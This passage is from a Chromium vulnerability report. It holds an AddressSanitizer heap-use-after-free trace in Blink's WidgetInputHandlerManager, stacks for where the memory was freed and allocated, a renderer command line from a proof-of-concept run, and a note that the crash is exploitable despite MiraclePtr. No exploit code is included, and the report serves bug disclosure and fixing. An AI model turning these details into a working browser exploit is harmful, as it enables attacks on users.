#28 0x55c52bed7351 in ipcz::TrapEventDispatcher::~TrapEventDispatcher() third_party/ipcz/src/ipcz/trap_event_dispatcher.cc:30:5
#29 0x55c52beb4d97 in ipcz::Router::AcceptInboundParcel(std::__Cr::unique_ptr<ipcz::Parcel, std::__Cr::default_delete<ipcz::Parcel>>) third_party/ipcz/src/ipcz/router.cc:272:1
#30 0x55c52be7baaa in ipcz::NodeLink::AcceptCompleteParcel(ipcz::StrongAlias<ipcz::SublinkIdTag, unsigned long>, std::__Cr::unique_ptr<ipcz::Parcel, std::__Cr::default_delete<ipcz::Parcel>>) third_party/ipcz/src/ipcz/node_link.cc:1079:31
#31 0x55c52be80ffa in ipcz::NodeLink::OnAcceptParcel(ipcz::msg::AcceptParcel&) third_party/ipcz/src/ipcz/node_link.cc:663:10
#32 0x55c52be9f21a in ipcz::msg::NodeMessageListener::OnTransportMessage(ipcz::DriverTransport::RawMessage const&, ipcz::DriverTransport const&, unsigned long) third_party/ipcz/src/ipcz/node_messages.cc:746:16
#33 0x55c52be42243 in ipcz::(anonymous namespace)::NotifyTransport(unsigned long, void const*, unsigned long, unsigned long const*, unsigned long, unsigned int, IpczTransportActivityOptions const*) third_party/ipcz/src/ipcz/driver_transport.cc:128:20
#34 0x55c52b8f695e in mojo::core::ipcz_driver::Transport::OnChannelMessage(void const*, unsigned long, std::__Cr::vector<mojo::PlatformHandle, std::__Cr::allocator<mojo::PlatformHandle>>, scoped_refptr<mojo::core::ipcz_driver::Envelope>) mojo/core/ipcz_driver/transport.cc:741:29
#35 0x55c52b8a2f8e in mojo::core::Channel::TryDispatchMessage(base::span<char const, 18446744073709551615ul, char const*>, std::__Cr::optional<std::__Cr::vector<mojo::PlatformHandle, std::__Cr::allocator<mojo::PlatformHandle>>>, scoped_refptr<mojo::core::ipcz_driver::Envelope>, unsigned long*) mojo/core/channel.cc:1213:18
#36 0x55c52b8a1237 in mojo::core::Channel::OnReadComplete(unsigned long, unsigned long*) mojo/core/channel.cc:1125:10
#37 0x55c52b9046ff in mojo::core::ChannelPosix::OnFdReadable(int) mojo/core/channel_posix.cc:318:12
#38 0x55c54dd85761 in base::MessagePumpEpoll::FdWatchController::OnFdReadable() base/message_loop/message_pump_epoll.cc:765:13
#39 0x55c54dd84310 in base::MessagePumpEpoll::HandleEvent(int, bool, bool, base::MessagePumpEpoll::FdWatchController*) base/message_loop/message_pump_epoll.cc:673:17
#40 0x55c54dd82f3f in base::MessagePumpEpoll::OnEpollEvent(base::MessagePumpEpoll::EpollEventEntry&, unsigned int) base/message_loop/message_pump_epoll.cc:619:7
#41 0x55c54dd7edca in base::MessagePumpEpoll::WaitForEpollEvents(base::TimeDelta) base/message_loop/message_pump_epoll.cc:511:7
#42 0x55c54dd7d6d5 in base::MessagePumpEpoll::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_epoll.cc:286:5
#43 0x55c54db7724d in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:656:12
#44 0x55c54da33c4c in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14
#45 0x55c54320f177 in blink::scheduler::NonMainThreadImpl::SimpleThreadImpl::Run() third_party/blink/renderer/platform/scheduler/worker/non_main_thread_impl.cc:190:14
#46 0x55c54dcc65e2 in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
#47 0x55c52af8b2fa in asan_thread_start(void*) asan_interceptors.cpp
0x7bbe4aebb1a0 is located 16 bytes inside of 32-byte region [0x7bbe4aebb190,0x7bbe4aebb1b0)
freed by thread T0 (chrome) here:
#0 0x55c52afc7c16 in operator delete(void*, unsigned long) (/usr/local/google/home/hanzheng/workspace/validate-chromium/src/out/153.0.7981.3/chrome+0x1be30c16) (BuildId: b845ab7002aa0e64)
#1 0x55c563f1350c in base::RefCountedThreadSafe<mojo::SharedRemoteBase<mojo::Remote<blink::mojom::blink::WidgetInputHandlerHost>>, base::DefaultRefCountedThreadSafeTraits<mojo::SharedRemoteBase<mojo::Remote<blink::mojom::blink::WidgetInputHandlerHost>>>>::Release() const third_party/libc++/src/include/__memory/unique_ptr.h:74:5
#2 0x55c563f1183c in blink::WidgetInputHandlerManager::ClearClient() base/memory/scoped_refptr.h:405:8
#3 0x55c563f9e0be in blink::WidgetBase::Shutdown(bool) third_party/blink/renderer/platform/widget/widget_base.cc:313:36
#4 0x55c55f2f1dff in blink::WebFrameWidgetImpl::Close(blink::DetachReason) third_party/blink/renderer/core/frame/web_frame_widget_impl.cc:571:17
#5 0x55c55f3e60c8 in blink::WebLocalFrameImpl::Close(blink::DetachReason) third_party/blink/renderer/core/frame/web_local_frame_impl.cc:803:20
#6 0x55c55c967bb0 in content::RenderFrameImpl::FrameDetached(blink::DetachReason) content/renderer/render_frame_impl.cc:3902:11
#7 0x55c55f45ec16 in blink::LocalFrameClientImpl::Detached(blink::FrameDetachType) third_party/blink/renderer/core/frame/local_frame_client_impl.cc:381:11
#8 0x55c55eda2c98 in blink::Frame::Detach(blink::FrameDetachType) third_party/blink/renderer/core/frame/frame.cc:172:12
#9 0x55c561c74ded in blink::Page::WillBeDestroyed() third_party/blink/renderer/core/page/page.cc:1375:17
#10 0x55c5654aa5c1 in blink::WebViewImpl::Close() third_party/blink/renderer/core/exported/web_view_impl.cc:1213:10
#11 0x55c5654d83d0 in base::internal::Invoker<base::internal::FunctorTraits<void (blink::WebViewImpl::*&&)(), blink::WebViewImpl*>, base::internal::BindState<true, true, false, void (blink::WebViewImpl::*)(), blink::UnretainedWrapper<blink::WebViewImpl>>, void ()>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
#12 0x55c52baad629 in base::OnceCallback<void ()>::Run() && base/functional/callback.h:155:12
#13 0x55c5430fe03d in blink::ThreadCheckingCallbackWrapper<base::OnceCallback<void ()>, void ()>::Run() third_party/blink/renderer/platform/wtf/functional.h:259:33
#14 0x55c5430fe9e0 in base::internal::Invoker<base::internal::FunctorTraits<void (blink::ThreadCheckingCallbackWrapper<base::OnceCallback<void ()>, void ()>::*&&)(), std::__Cr::unique_ptr<blink::ThreadCheckingCallbackWrapper<base::OnceCallback<void ()>, void ()>, std::__Cr::default_delete<blink::ThreadCheckingCallbackWrapper<base::OnceCallback<void ()>, void ()>>>&&>, base::internal::BindState<true, true, false, void (blink::ThreadCheckingCallbackWrapper<base::OnceCallback<void ()>, void ()>::*)(), std::__Cr::unique_ptr<blink::ThreadCheckingCallbackWrapper<base::OnceCallback<void ()>, void ()>, std::__Cr::default_delete<blink::ThreadCheckingCallbackWrapper<base::OnceCallback<void ()>, void ()>>>>, void ()>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
#15 0x55c52baad629 in base::OnceCallback<void ()>::Run() && base/functional/callback.h:155:12
#16 0x55c54dad1c5a in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/task/common/task_annotator.cc:229:34
#17 0x55c54db7598b in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:114:5
#18 0x55c54db745dc in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:341:40
#19 0x55c54d93e335 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:66:55
#20 0x55c54db7724d in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:656:12
#21 0x55c54da33c4c in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14
#22 0x55c55cb8021d in content::RendererMain(content::MainFunctionParams) content/renderer/renderer_main.cc:342:16
#23 0x55c5491a323a in content::RunZygote(content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:676:14
#24 0x55c5491a50df in content::RunOtherNamedProcessTypeMain(std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const&, content::MainFunctionParams, content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:783:12
#25 0x55c5491a87a5 in content::ContentMainRunnerImpl::Run() content/app/content_main_runner_impl.cc:1176:10
#26 0x55c5491a0a33 in content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) content/app/content_main.cc:331:36
#27 0x55c5491a107c in content::ContentMain(content::ContentMainParams) content/app/content_main.cc:344:10
#28 0x55c52afc90b1 in ChromeMain chrome/app/chrome_main.cc:256:12
#29 0x7f8e4ca31f76 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
previously allocated by thread T0 (chrome) here:
#0 0x55c52afc6fc1 in operator new(unsigned long) (/usr/local/google/home/hanzheng/workspace/validate-chromium/src/out/153.0.7981.3/chrome+0x1be2ffc1) (BuildId: b845ab7002aa0e64)
#1 0x55c563f292c2 in mojo::SharedRemoteBase<mojo::Remote<blink::mojom::blink::WidgetInputHandlerHost>>::RemoteWrapper::CreateForwarder(base::Location const&) third_party/libc++/src/include/__memory/unique_ptr.h:763:26
#2 0x55c563f27c2a in mojo::SharedRemoteBase<mojo::Remote<blink::mojom::blink::WidgetInputHandlerHost>>::SharedRemoteBase(scoped_refptr<mojo::SharedRemoteBase<mojo::Remote<blink::mojom::blink::WidgetInputHandlerHost>>::RemoteWrapper>, base::Location const&) mojo/public/cpp/bindings/shared_remote.h:212:30
#3 0x55c563f278ba in mojo::SharedRemoteBase<mojo::Remote<blink::mojom::blink::WidgetInputHandlerHost>>::Create(mojo::PendingRemote<blink::mojom::blink::WidgetInputHandlerHost>, scoped_refptr<base::SequencedTaskRunner>, base::Location const&) mojo/public/cpp/bindings/shared_remote.h:220:16
#4 0x55c563f27334 in mojo::SharedRemote<blink::mojom::blink::WidgetInputHandlerHost>::Bind(mojo::PendingRemote<blink::mojom::blink::WidgetInputHandlerHost>, scoped_refptr<base::SequencedTaskRunner>, base::Location const&) mojo/public/cpp/bindings/shared_remote.h:331:17
#5 0x55c563eff9a3 in blink::WidgetInputHandlerManager::SetHost(mojo::PendingRemote<blink::mojom::blink::WidgetInputHandlerHost>) mojo/public/cpp/bindings/shared_remote.h:269:5
#6 0x55c563f9f97f in blink::WidgetBase::GetWidgetInputHandler(mojo::PendingReceiver<blink::mojom::blink::WidgetInputHandler>, mojo::PendingRemote<blink::mojom::blink::WidgetInputHandlerHost>, bool) third_party/blink/renderer/platform/widget/widget_base.cc:456:36
#7 0x55c542c27e16 in blink::mojom::blink::RenderInputRouterClientStubDispatch::Accept(blink::mojom::blink::RenderInputRouterClient*, mojo::Message*) gen/third_party/blink/public/mojom/widget/platform_widget.mojom-blink.cc:2996:13
#8 0x55c54ea66cad in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:1085:54
#9 0x55c54ea90506 in mojo::MessageDispatcher::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/message_dispatcher.cc:44:19
#10 0x55c54ea6e711 in mojo::InterfaceEndpointClient::HandleIncomingMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:747:20
#11 0x55c54eaa48a3 in mojo::internal::MultiplexRouter::ProcessIncomingMessage(mojo::internal::MultiplexRouter::MessageWrapper*, mojo::internal::MultiplexRouter::ClientCallBehavior, base::SequencedTaskRunner*) mojo/public/cpp/bindings/lib/multiplex_router.cc:1223:42
#12 0x55c54eaa2417 in mojo::internal::MultiplexRouter::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/multiplex_router.cc:809:7
#13 0x55c54ea90506 in mojo::MessageDispatcher::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/message_dispatcher.cc:44:19
#14 0x55c54ea59171 in mojo::Connector::DispatchMessage(mojo::ScopedHandleBase<mojo::MessageHandle>) mojo/public/cpp/bindings/lib/connector.cc:571:49
#15 0x55c54ea5ac37 in mojo::Connector::ReadAllAvailableMessages() mojo/public/cpp/bindings/lib/connector.cc:632:14
#16 0x55c54ea5a587 in mojo::Connector::OnWatcherHandleReady(char const*, unsigned int) mojo/public/cpp/bindings/lib/connector.cc:452:3
#17 0x55c54ea5cad8 in base::internal::Invoker<base::internal::FunctorTraits<void (mojo::Connector::* const&)(char const*, unsigned int), mojo::Connector*, char const* const&>, base::internal::BindState<true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper<mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>, base::internal::UnretainedWrapper<char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void (unsigned int)>::Run(base::internal::BindStateBase*, unsigned int) base/functional/bind_internal.h:740:12
#18 0x55c53270b065 in base::RepeatingCallback<void (unsigned int)>::Run(unsigned int) const & base/functional/callback.h:346:12
#19 0x55c53270adaa in base::internal::Invoker<base::internal::FunctorTraits<void (* const&)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)> const&>, base::internal::BindState<false, true, false, void (*)(base::RepeatingCallback<void (unsigned int)> const&, unsigned int, mojo::HandleSignalsState const&), base::RepeatingCallback<void (unsigned int)>>, void (unsigned int, mojo::HandleSignalsState const&)>::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&) base/functional/bind_internal.h:673:12
#20 0x55c54308c59c in base::RepeatingCallback<void (unsigned int, mojo::HandleSignalsState const&)>::Run(unsigned int, mojo::HandleSignalsState const&) const & base/functional/callback.h:346:12
#21 0x55c54eb3723b in mojo::SimpleWatcher::OnHandleReady(int, unsigned int, mojo::HandleSignalsState const&) mojo/public/cpp/system/simple_watcher.cc:286:14
#22 0x55c54eb381f7 in base::internal::Invoker<base::internal::FunctorTraits<void (mojo::SimpleWatcher::*&&)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>&&, int&&, unsigned int&&, mojo::HandleSignalsState&&>, base::internal::BindState<true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&), base::WeakPtr<mojo::SimpleWatcher>, int, unsigned int, mojo::HandleSignalsState>, void ()>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
#23 0x55c52baad629 in base::OnceCallback<void ()>::Run() && base/functional/callback.h:155:12
#24 0x55c54dad1c5a in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/task/common/task_annotator.cc:229:34
#25 0x55c54db7598b in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:114:5
#26 0x55c54db745dc in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:341:40
#27 0x55c54d93e335 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:66:55
#28 0x55c54db7724d in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:656:12
#29 0x55c54da33c4c in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14
Thread T9 (Compositor) created by T0 (chrome) here:
#0 0x55c52af70fe5 in pthread_create (/usr/local/google/home/hanzheng/workspace/validate-chromium/src/out/153.0.7981.3/chrome+0x1bdd9fe5) (BuildId: b845ab7002aa0e64)
#1 0x55c54dcc5bd9 in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThreadBase::Delegate*, base::PlatformThreadHandle*, base::ThreadType, base::MessagePumpType) base/threading/platform_thread_posix.cc:153:13
#2 0x55c54dc3c05d in base::SimpleThread::StartAsync() base/threading/simple_thread.cc:55:13
#3 0x55c54310a24f in blink::Thread::CreateAndSetCompositorThread() third_party/blink/renderer/platform/scheduler/common/thread.cc:85:22
#4 0x55c55cac3ecf in content::RenderThreadImpl::InitializeCompositorThread() content/renderer/render_thread_impl.cc:803:25
#5 0x55c55cabdc28 in content::RenderThreadImpl::InitializeWebKit(mojo::BinderMap*) content/renderer/render_thread_impl.cc:838:5
#6 0x55c55caba024 in content::RenderThreadImpl::Init() content/renderer/render_thread_impl.cc:559:3
#7 0x55c55cabcf77 in content::RenderThreadImpl::RenderThreadImpl(base::RepeatingCallback<void ()>, std::__Cr::unique_ptr<blink::scheduler::WebThreadScheduler, std::__Cr::default_delete<blink::scheduler::WebThreadScheduler>>) content/renderer/render_thread_impl.cc:475:3
#8 0x55c55cb7fda9 in content::RendererMain(content::MainFunctionParams) content/renderer/renderer_main.cc:282:9
#9 0x55c5491a323a in content::RunZygote(content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:676:14
#10 0x55c5491a50df in content::RunOtherNamedProcessTypeMain(std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const&, content::MainFunctionParams, content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:783:12
#11 0x55c5491a87a5 in content::ContentMainRunnerImpl::Run() content/app/content_main_runner_impl.cc:1176:10
#12 0x55c5491a0a33 in content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) content/app/content_main.cc:331:36
#13 0x55c5491a107c in content::ContentMain(content::ContentMainParams) content/app/content_main.cc:344:10
#14 0x55c52afc90b1 in ChromeMain chrome/app/chrome_main.cc:256:12
#15 0x7f8e4ca31f76 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#16 0x7ffc81ace5e4 (<unknown module>)
SUMMARY: AddressSanitizer: heap-use-after-free third_party/blink/renderer/platform/widget/input/widget_input_handler_manager.cc:524:11 in blink::WidgetInputHandlerManager::DidStartScrollingViewport()
Shadow bytes around the buggy address:
0x7bbe4aebaf00: 00 00 f7 fa fd fd fd fd f7 fa fd fd fd fd f7 fa
0x7bbe4aebaf80: fd fd fd fd f7 fa fd fd fd fd f7 fa fd fd fd fa
0x7bbe4aebb000: f7 fa fd fd fd fd f7 fa fd fd fd fd f7 fa fd fd
0x7bbe4aebb080: fd fd f7 fa fd fd fd fa f7 fa fd fd fd fd f7 fa
0x7bbe4aebb100: fd fd fd fd f7 fa fd fd fd fa f7 fa fd fd fd fa
=>0x7bbe4aebb180: f7 fa fd fd[fd]fd f7 fa fd fd fd fa f7 fa fd fd
0x7bbe4aebb200: fd fd f7 fa fd fd fd fa f7 fa fd fd fd fa f7 fa
0x7bbe4aebb280: fd fd fd fa f7 fa fd fd fd fa f7 fa fd fd fd fa
0x7bbe4aebb300: f7 fa fd fd fd fa f7 fa fd fd fd fa f7 fa fd fd
0x7bbe4aebb380: fd fa f7 fa fd fd fd fa f7 fa fd fd fd fa f7 fa
0x7bbe4aebb400: fd fd fd fd f7 fa fd fd fd fa f7 fa fd fd fd fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==1087104==ADDITIONAL INFO
==1087104==Note: Please include this section with the ASan report.
Task trace:
Command line: `/proc/self/exe --type=renderer --gpu-client-id=6 --crashpad-handler-pid=1086965 --enable-crash-reporter=, --noerrdialogs --user-data-dir=/tmp/poc_b76_data --change-stack-guard-on-fork=enable --no-sandbox --enable-gpu-benchmarking --ozone-platform=headless --disable-gpu-compositing --lang=en-US --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --gpu-channel-request-start-time-ticks=70146688755 --launch-time-ticks=70146696093 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=3,i,2360333245602734052,4649385876373160360,262144 --disable-features=PaintHolding --variations-seed-version --pseudonymization-salt-handle=7,i,2047187896790869460,15043695769100091404,4 --trace-process-track-uuid=4802447157023236317 --enable-logging=stderr`
MiraclePtr Status: NOT PROTECTED
No raw_ptr<T> access to this region was detected prior to this crash.
This crash is still exploitable with MiraclePtr.
Refer to https://chromium.googlesource.com/chromium/src/+/main/base/memory/raw_ptr.md for details.
==1087104==END OF ADDITIONAL INFO
==1087104==ABORTING
Reporter Credit
Google BigSleep@Grape